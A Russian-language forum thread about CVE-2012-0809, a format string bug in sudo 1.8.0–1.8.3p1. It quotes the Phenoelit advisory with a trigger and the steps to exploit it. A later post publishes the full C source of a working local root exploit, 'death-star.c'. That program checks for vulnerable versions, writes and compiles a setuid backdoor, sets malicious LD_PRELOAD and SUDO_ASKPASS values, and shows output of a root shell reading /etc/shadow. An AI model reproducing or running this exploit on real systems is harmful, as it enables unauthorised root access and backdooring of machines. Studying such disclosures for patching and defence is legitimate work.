Старый 30.01.2012, 17:16   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2012-0809 sudo 1.8.0 - 1.8.3p1 format string bug

Думаю эксплойты под некоторые системы скоро появятся, поэтому решил создать тему.
Баг пофикшен в 1.8.3p2, которая вышла сегодня.

Код:
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +--++>

[ Authors ]
        joernchen       <joernchen () phenoelit de>

        Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
        sudo 1.8.0 - 1.8.3p1 (http://sudo.ws)

[ Vendor communication ]
        2012-01-24 Send vulnerability details to sudo maintainer
        2012-01-24 Maintainer is embarrased
        2012-01-27 Asking maintainer how the fixing goes
        2012-01-27 Maintainer responds with a patch and a release date
                   of 2012-01-30 for the patched sudo and advisory
        2012-01-30 Release of this advisory

[ Description ]

        Observe src/sudo.c:

void
sudo_debug(int level, const char *fmt, ...)
{
    va_list ap;
    char *fmt2;

    if (level > debug_level)
        return;

    /* Backet fmt with program name and a newline to make it a single 
    write */
    easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
    va_start(ap, fmt);
    vfprintf(stderr, fmt2, ap);
    va_end(ap);
    efree(fmt2);
}

        Here getprogname() is argv[0] and by this user controlled. So 
        argv[0] goes to fmt2 which then gets vfprintf()ed to stderr. The
        result is a Format String vulnerability.   

[ Example ]
        /tmp $ ln -s /usr/bin/sudo %n
        /tmp $ ./%n -D9
        *** %n in writable segment detected ***
        Aborted
        /tmp $

       A note regarding exploitability: The above example shows the result
       of FORTIFY_SOURCE which makes explotitation painful but not 
       impossible (see [0]). Without FORTIFY_SOURCE the exploit is straight
       forward:
         1. Use formatstring to overwrite the setuid() call with setgid()
         2. Trigger with formatstring -D9 
         3. Make use of SUDO_ASKPASS and have shellcode in askpass script
         4. As askpass will be called after the formatstring has 
            overwritten setuid() the askepass script will run with uid 0
         5. Enjoy the rootshell
 
[ Solution ]
        Update to version 1.8.3.p2 

[ References ]
        [0] http://www.phrack.org/issues.html?issue=67&id=9
SynQ вне форума   Ответить с цитированием
Старый 16.02.2012, 15:15   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Статья про эксплутацию и обход FORTIFY_SOURCE:
http://www.vnsecurity.net/2012/02/ex...-vunerability/

Эксплойт вьетнамцы выложат чуть позже.
SynQ вне форума   Ответить с цитированием
Старый 05.05.2013, 14:37   #3
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

sudo v1.8.0-1.8.3p1 (sudo_debug) format string root exploit + glibc FORTIFY_SOURCE bypass
by aeon - http://infosecabsurdity.wordpress.com/

This PoC exploits:
- CVE-2012-0864 - FORTIFY_SOURCE format string protection bypass via "nargs" integer overflow
- CVE-2012-0809 - sudo v1.8.0-1.8.3p1 "sudo_debug" format string

Tested on:
- Fedora core 16 verne
- glibc 2.14.90.14 release
- sudo 1.8.1p2

Код:
/*
 death-star.c
 sudo v1.8.0-1.8.3p1 (sudo_debug) format string root exploit + glibc FORTIFY_SOURCE bypass
 by aeon - http://infosecabsurdity.wordpress.com/

 This PoC exploits:
 - CVE-2012-0864 - FORTIFY_SOURCE format string protection bypass via "nargs" integer overflow
 - CVE-2012-0809 - sudo v1.8.0-1.8.3p1 "sudo_debug" format string

 Tested on:
 - Fedora core 16 verne
 - glibc 2.14.90.14 release
 - sudo 1.8.1p2

 Notes:
 - This exploit actually turned out very reliable :-)
 - You can make a cleaner version of this exploit if you smash sudo_debug function pointer
 or a libc function pointer so you dont write to disk. I wont be releasing that version :-)

 References and thanks too:
 - http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
 - http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/
 - http://www.alertlogic.com/modern-userland-linux-exploitation-courseware/
 - "A Eulogy for Format Strings" http://www.phrack.org/issues.html?issue=67&id=9&mode=txt

 [aeon@localhost tmp]$ gcc death-star.c -o death-star
 [aeon@localhost tmp]$ ./death-star
 [+] Targeting release: 3.1.0-7.fc16.i686.PAE
 [+] Found vuln glibc version: 2.14.90
 [+] Found a vuln sudo version: 1.8.1
 [+] Writing backdoor: e.c
 [+] Compiling backdoor: e
 [+] Writing SUDO_ASKPASS file: e.sh
 [+] Press enter when ready...

 < -------------- REMOVED -------------->

 A�AF@F@F@F@F@' from LD_PRELOAD cannot be preloaded: ignored.
 %1073825311%21372736 %: settings:
 =
 %1073825311%21372736 %: settings:
 =
 %1073825311%21372736 %: sudo_mode 1081383169
 Sorry, try again.
 Sorry, try again.
 Sorry, try again.
 %20$08n %*482$ %*2850$ %1073741824$: 3 incorrect password attempts
 %1073886251%21372736 %: policy plugin returns 1081402445
 [+] Getting root..!
 [+] Cleaning system.
 [+] Launching root shell!
 sh-4.2# id; uname -a
 uid=0(root) gid=1001(aeon) groups=0(root),1001(aeon) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
 Linux localhost.localdomain 3.1.0-7.fc16.i686.PAE #1 SMP Tue Nov 1 20:53:45 UTC 2011 i686 i686 i386 GNU/Linux
 sh-4.2# head -n1 /etc/shadow
 root:$6$YxDB.SNvtnqhtt.T$slIOJSl7Lz07PtDF23m1G0evZH4MXvpo1VNebUUasM/je2sP6FXi2Y/QE1Ntg.93jOtTQOfZ8k2e/HhT8XzXN/:15818:0:
 99999:7:::
 sh-4.2#
 */

 #include <sys/resource.h>
 #include <sys/utsname.h>
 #include <gnu/libc-version.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <stdio.h>
 #include <sys/time.h>
 #include <sys/stat.h>
 #include <string.h>
 #include <sys/wait.h>

 #define OFFSET 65000
 #define NUM_THREADS 0

 /* files that we create on disk */
 #define BACKDOOR "e.c"
 #define BD_COMPILED "e"
 #define SUDO_ASKPASS "e.sh"

 extern char **environ;
 struct utsname ver;

 void *kill_sudo();
 void *pop_shell();
 void *set_env();
 int is_glibc_vuln();
 int is_sudo_vuln();
 int write_backdoor();

 /* hardcoded path to sudo */
 const char sudo[] = "/usr/bin/sudo\0";
 char s_version[20];

 /* vuln versions of sudo */
 char vuln_sudo_versions[4][20] = {
 {"1.8.0"},
 {"1.8.1"},
 {"1.8.2"},
 {"1.8.3"}
 };

 /* vuln versions of glibc */
 char vuln_glibc_versions[4][20] = {
 {"2.14.90"},
 };

 int main(int argc, char *argv[])
 {
 struct rlimit rara;
 int status;
 char ready;
 uname(&ver);
 printf("[+] Targeting release: %s\n", ver.release);
 if (is_glibc_vuln()){
 if(is_sudo_vuln()){
 if (write_backdoor()){
 printf("[+] Press enter when ready...");
 scanf("%c", &ready);
 }else{ exit(0); }
 }else{ exit(0); }
 }else{ exit(0); }

 // ulimited stack
 rara.rlim_max = rara.rlim_cur = -1;
 setrlimit(RLIMIT_STACK, &rara);

 pid_t pid;
 if((pid = fork()) < 0)
 {
 printf("[-] An error occurred while forking sudo\n");
 return -1;
 }
 else if(pid == 0){
 set_env();
 kill_sudo();
 }else{
 wait(&status);
 if (WIFEXITED(status)) {
 sleep(1);
 pop_shell();
 }
 }
 }

 int is_glibc_vuln(){
 int i, returnval = -1;
 for (i = 0; i < 4; i++){
 if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){
 printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version());
 returnval = 1;
 }
 }
 return returnval;
 };

 int is_sudo_vuln(){
 int i, returnval = -1;;
 FILE *fp;
 char path[20];
 char sudo_ver_cmd[50];
 snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo);
 fp = popen(sudo_ver_cmd, "r");

 if (fp == NULL) {
 printf("[-] Failed to get sudo's version\n[-]Exiting.." );
 exit(0);
 }
 fgets(path, 21, fp);
 memmove (s_version, path+13,5);
 for (i = 0; i < 4; i++){
 if (strcmp(s_version, vuln_sudo_versions[i]) == 0){
 printf("[+] Found a vuln sudo version: %s\n", s_version);
 returnval = 1;
 }
 }
 return returnval;
 };

 int write_backdoor(){
 int returnval = 1;
 char askpass[100], compile_bd[100];
 char bdcode[] = "#include <stdio.h>\r\n"
 "#include <stdlib.h>\r\n"
 "int main(int argc, char **argv){\r\n"
 " printf(\"[+] Getting root..!\\n\");\r\n"
 " setresuid(0,0,0);\r\n"
 " printf(\"[+] Cleaning system.\\n\");\r\n"
 " remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n"
 " printf(\"[+] Launching root shell!\\n\");\r\n"
 " system(\"/bin/sh\");\r\n"
 " exit(0);\r\n"
 "}\r\n";

 FILE *fp = fopen(BACKDOOR,"wb");
 if (fp == NULL) {
 printf("[-] Failed to write backdoor on the target, check your permissions\n" );
 returnval = -1;
 }else{
 printf("[+] Writing backdoor: %s\n", BACKDOOR);
 }

 fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp);
 memset(compile_bd, 0x00, sizeof(compile_bd));
 snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR,
 BD_COMPILED);
 printf("[+] Compiling backdoor: %s\n", BD_COMPILED);
 fp = popen(compile_bd, "r");

 if (fp == NULL) {
 printf("[-] Failed to compile the backdoor, check the gcc path\n" );
 returnval = -1;
 }

 fclose(fp);
 memset(askpass, 0x00, sizeof(askpass));
 snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED,
 BD_COMPILED);
 fp = fopen(SUDO_ASKPASS,"w");

 if (fp == NULL) {
 printf("[-] Failed to write backdoor on the target, check your permissions\n" );
 returnval = -1;
 }else{
 printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS);
 }

 fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp);
 chmod(SUDO_ASKPASS, 0755);
 return returnval;
 };

 void *set_env(){
 int i = 0;
 char ld_preload_evar[OFFSET] = "LD_PRELOAD=";
 char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40};
 char sudo_askpass_evar[40];
 for (i=0; i<(OFFSET/4); i++){
 memcpy(user_details+(i*4), user_details, sizeof(int));
 }

 memmove (ld_preload_evar+11, user_details , sizeof(user_details));
 memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar));
 snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS);

 // set our environment
 putenv(ld_preload_evar);
 putenv(sudo_askpass_evar);
 };

 void *kill_sudo(){
 char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$";
 char *args[] = { fmtstring, "-D9", "-A", "", NULL};

 // trigger the vuln
 execve(sudo, args, environ);
 };

 void *pop_shell(){
 // set our environment
 unsetenv("LD_PRELOAD");
 unsetenv("SUDO_ASKPASS");
 char *exploit_args[] = { BD_COMPILED, NULL };
 execve(BD_COMPILED, exploit_args, environ);
 };





References:

http://infosecabsurdity.wordpress.com/
http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/
http://www.phrack.org/issues.html?issue=67&id=9&mode=txt
Pashkela вне форума   Ответить с цитированием
Ответ

Метки
exploit, format string, linux, sudo

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot